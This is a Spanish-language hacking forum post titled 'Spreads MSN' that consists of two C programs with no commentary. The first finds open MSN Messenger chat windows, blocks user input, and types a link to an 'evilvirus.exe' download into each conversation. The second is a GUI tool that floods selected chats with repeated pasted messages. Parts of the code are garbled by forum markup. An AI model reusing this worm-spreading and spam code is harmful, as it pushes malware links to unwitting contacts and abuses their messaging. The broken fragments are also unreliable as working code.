Spreads MSN

  • 0 Respuestas
  • 2272 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5706
  • Actividad:
    30%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Spreads MSN

  • en: Mayo 22, 2011, 09:58:40 pm
Código: C
  1. #include <windows.h>
  2.  
  3. char *Message = "http://www.fuckup.de/evilvirus.exe";
  4.  
  5. int WINAPI wep(HWND hwnd,LPARAM lparam)
  6. {
  7.    
  8.    char text[128],cname[128];
  9.    HWND child;
  10.    
  11.    if(!GetClassName(hwnd,cname,sizeof cname))
  12.                                  return 0;
  13.  
  14.    if(!strcmp(cname,"IMWindowClass")) {
  15.                            
  16.                            child = FindWindowExA(hwnd,0,"DirectUIHWND",0);
  17.  
  18.                            SetForegroundWindow(hwnd);
  19.                            Sleep(500);
  20.  
  21.                            BlockInput(1);
  22.                          
  23.                            for(int x=0;x<strlen(Message);x++)
  24.                                  PostMessageA(child,WM_CHAR,Message<ul class="bbc_list"><li type="square">,0);[/li][/list]
  25.                            
  26.                            PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
  27.                            PostMessage(child, WM_KEYUP, VK_RETURN, 0);
  28.                            PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
  29.                            PostMessage(child, WM_KEYUP, VK_RETURN, 0);
  30.                            
  31.                            BlockInput(0);
  32.                            
  33.                            Sleep(200);
  34.  
  35.    }
  36. }
  37.  
  38. int main()
  39. {
  40.    EnumWindows(wep,0);
  41. }



Código: C
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <windows.h>
  4. #include <winsock.h>
  5. #pragma comment(lib, "wsock32.lib")
  6. #pragma warning (disable:4786)
  7.  
  8. #define WIDTH 340
  9. #define HEIGHT 330
  10.  
  11. #define bListConvos 1
  12. #define bButtonstart 2
  13. #define bButtonRefresh 3
  14. #define bTextSpam 4
  15. #define bLabelTimes 5
  16. #define bTextTimes 6
  17. #define bLabelError 7
  18.  
  19. #define BUFFERNAME 160
  20. #define BUFFERMED 512
  21. #define COPYBUFFERMED 1024
  22. #define BUFFERLARGE 1024
  23.  
  24.  
  25. HFONT Font1 = CreateFont(16,0,0,0,0,FALSE,FALSE,FALSE,ANSI_CHARSET,0,0,0,0,"Arial");
  26. HWND hListConvos,hButtonstart,hButtonRefresh,hTextSpam,hLabelTimes,hTextTimes,hLabelE
  27. rrors;
  28. LRESULT CALLBACK WndProcedure(HWND hWnd, UINT uMsg,WPARAM wParam, LPARAM lParam);
  29.  
  30. int setClipboard(char cSetText[COPYBUFFERMED])
  31. {
  32.    int iRet = 0;
  33.    iRet = OpenClipboard(NULL);
  34.    if(!iRet){
  35.       return 0;
  36.    }
  37.    EmptyClipboard();
  38.    char* cText = (char*) malloc(sizeof(char) * COPYBUFFERMED);
  39.    strncpy(cText,cSetText,COPYBUFFERMED);
  40.    SetClipboardData(CF_TEXT,cText);
  41.    free(cText);
  42.    CloseClipboard();
  43.    return 1;
  44. }
  45.  
  46. void setText(HWND hWnd,char* pcText)
  47. {
  48.    SendMessage(hWnd,WM_SETTEXT,NULL,(LPARAM)pcText);
  49. }
  50.  
  51. void getText(HWND hWnd,char cBuffer[], int iSize)
  52. {
  53.    SendMessage(hWnd,WM_GETTEXT,(WPARAM)iSize,(LPARAM)cBuffer);
  54. }
  55.  
  56. INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
  57. {
  58.    MSG msgMessage;
  59.    HWND hWnd;
  60.    WNDCLASSEX wndClass;
  61.    wndClass.cbSize = sizeof(WNDCLASSEX);
  62.    wndClass.style = CS_HREDRAW | CS_VREDRAW;
  63.    wndClass.lpfnWndProc = WndProcedure;
  64.    wndClass.cbClsExtra = 0;
  65.    wndClass.cbWndExtra = 0;
  66.    wndClass.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(101));
  67.    wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);
  68.    wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
  69.    wndClass.lpszMenuName = NULL;
  70.    wndClass.lpszClassName = "Basic";
  71.    wndClass.hInstance = hInstance;
  72.    wndClass.hIconSm = LoadIcon(hInstance, MAKEINTRESOURCE(101));
  73.    if((RegisterClassEx(&wndClass)) == NULL){
  74.       return 0;  
  75.    }
  76.    if((hWnd = CreateWindow("Basic","MSN",WS_SYSMENU,CW_USEDEFAULT,CW_USEDEFAULT,WIDTH+10,HEIGHT,NULL,NULL,hInstance,
  77. NULL)) == NULL){
  78.       return 0;
  79.    }
  80.    ShowWindow(hWnd, SW_SHOWNORMAL);
  81.    UpdateWindow(hWnd);
  82.    while(GetMessage(&msgMessage, NULL, 0, 0)){
  83.       TranslateMessage(&msgMessage);
  84.       DispatchMessage(&msgMessage);
  85.    }
  86.    return msgMessage.wParam;
  87. }
  88.  
  89. BOOL CALLBACK spreadMSN(HWND hWnd, LPARAM lParam)
  90. {
  91.    char cClassName[BUFFERMED],cWindowName[BUFFERNAME];
  92.    HWND hwConvo;
  93.    if(!GetClassName(hWnd,cClassName,BUFFERMED)){
  94.       return FALSE;
  95.    }
  96.    if(!strcmp(cClassName,"IMWindowClass")){
  97.       if((GetWindowText(hWnd,cWindowName,BUFFERNAME))){
  98.          if(strstr(cWindowName," - Conversation")){
  99.             SendMessage(hListConvos,LB_ADDSTRING,(WPARAM)0,(LPARAM)cWindowName);
  100.          }
  101.       }
  102.    }
  103.    return TRUE;
  104. }
  105.  
  106. void spamConvos(char* pcConvoName,char* pcMessage,int iTimes)
  107. {
  108.    unsigned short x = 0;//Spam loop
  109.    HWND hwConvo = FindWindow(NULL,pcConvoName);
  110.    if(hwConvo == NULL){
  111.       setText(hLabelErrors,"Error, conversation window not found\n");
  112.       return;
  113.    }
  114.    for(x=0; x<iTimes; x++){
  115.       SetForegroundWindow(hwConvo);
  116.       keybd_event(VK_LCONTROL,0,0,0);
  117.       keybd_event(86,0,0,0);
  118.       keybd_event(VK_LCONTROL,0,KEYEVENTF_KEYUP,0);
  119.       keybd_event(86,0,KEYEVENTF_KEYUP,0);
  120.       keybd_event(13,0,0,0);
  121.       keybd_event(13,0,KEYEVENTF_KEYUP,0);
  122.    }
  123.    Sleep(100);
  124.    return;
  125. }
  126.  
  127. void startSpam()
  128. {
  129.    char cWindowName[BUFFERNAME],cSpamText[BUFFERMED],char cSpamTimes[3];
  130.    unsigned short int i=0; //Convo's
  131.    unsigned short int iItem=0, iItems=0,iSpamTimes=0; //Current item, Total items, loop amount
  132.    getText(hTextSpam,cSpamText,BUFFERMED);
  133.    if(setClipboard(cSpamText)){
  134.       iItems = SendMessage(hListConvos,(UINT) LB_GETCOUNT,0,0);
  135.       for(i=0; i<iItems; i++){
  136.          int iSelected = SendMessage(hListConvos,(UINT)LB_GETSEL,(WPARAM)i,0);
  137.          if(iSelected){
  138.             SendMessage(hListConvos,(UINT)LB_GETTEXT,(WPARAM)i,(LPARAM)cWindowName);
  139.             getText(hTextTimes,cSpamTimes,3);
  140.             iSpamTimes = atoi(cSpamTimes);
  141.             spamConvos(cWindowName,cSpamText,iSpamTimes);
  142.          }
  143.       }
  144.    }
  145.    else{
  146.       setText(hLabelErrors,"Error, clipboard set failed\n");
  147.    }
  148. }
  149.  
  150. void addConvos()
  151. {
  152.    unsigned short int iItem=0,iItems=0;
  153.    iItems = SendMessage(hListConvos,(UINT) LB_GETCOUNT,0,0);
  154.    iItem = iItems + 1;
  155.    do{
  156.       iItem--;
  157.       SendMessage(hListConvos,(UINT) LB_DELETESTRING,(WPARAM)iItem,0);
  158.    }while(iItem);
  159.    EnumWindows(spreadMSN,0);
  160. }
  161.  
  162. LRESULT CALLBACK WndProcedure(HWND hWnd, UINT Msg,WPARAM wParam, LPARAM lParam)
  163. {
  164.    switch(Msg){
  165.    case WM_DESTROY:
  166.       PostQuitMessage(WM_QUIT);
  167.       break;
  168.    case WM_CREATE:                                                                     //x y width height
  169.       hListConvos = CreateWindowEx(0,"ListBox",0,LBS_STANDARD | WS_CHILD | WS_VISIBLE |LBS_EXTENDEDSEL |LBS_SORT | WS_VSCROLL | WS_TABSTOP,0, 0, WIDTH, 150,hWnd,(HMENU)bListConvos,0,NULL);
  170.       hButtonstart = CreateWindowEx(0,"Button","Spam",WS_VISIBLE | WS_CHILD,0, 150, 70, 18,hWnd,(HMENU)bButtonstart,0,NULL);
  171.       hButtonRefresh = CreateWindowEx(0,"Button","Refresh convos",WS_VISIBLE | WS_CHILD,230, 150, 110, 18,hWnd,(HMENU)bButtonRefresh,0,NULL);
  172.       hTextSpam = CreateWindowEx(0,"Edit",NULL,WS_VISIBLE | WS_CHILD | WS_BORDER | ES_MULTILINE,0, 170, WIDTH, 100,hWnd,(HMENU)bTextSpam,0,NULL);
  173.       hTextTimes = CreateWindowEx(0,"Edit",NULL,WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,80, 150, 30, 18,hWnd,(HMENU)hTextTimes,0,NULL);
  174.       hLabelTimes = CreateWindowEx(0,"Edit",NULL,WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,120, 150, 70, 18,hWnd,0,0,NULL);
  175.       hLabelErrors = CreateWindowEx(0,"Edit",NULL,WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,0, 280, WIDTH, 20,hWnd,0,0,NULL);
  176.       SendMessage(hLabelErrors,EM_SETREADONLY,(WPARAM)TRUE,(LPARAM)TRUE);
  177.       SendMessage(hLabelTimes,EM_SETREADONLY,(WPARAM)TRUE,(LPARAM)TRUE);
  178.       setText(hTextSpam," < Enter a message here > ");
  179.       setText(hLabelTimes," times");
  180.       setText(hTextTimes,"50");
  181.       EnumWindows(spreadMSN,0);
  182.    case WM_COMMAND:
  183.       switch(LOWORD(wParam)){
  184.          case bButtonstart:
  185.             setText(hButtonstart,"Spamming");
  186.             EnableWindow(hButtonstart,FALSE);
  187.             startSpam();
  188.             Sleep(100);
  189.             setText(hButtonstart,"Spam");
  190.             EnableWindow(hButtonstart,TRUE);
  191.             break;
  192.          
  193.          case bButtonRefresh:
  194.             addConvos();
  195.             break;
  196.          
  197.          default:
  198.             break;
  199.       }
  200.       break;
  201.    
  202.    default:
  203.       return DefWindowProc(hWnd, Msg, wParam, lParam);
  204.    }
  205.    return 0;
  206. }
« Última modificación: Febrero 08, 2014, 05:48:57 pm por Expermicid »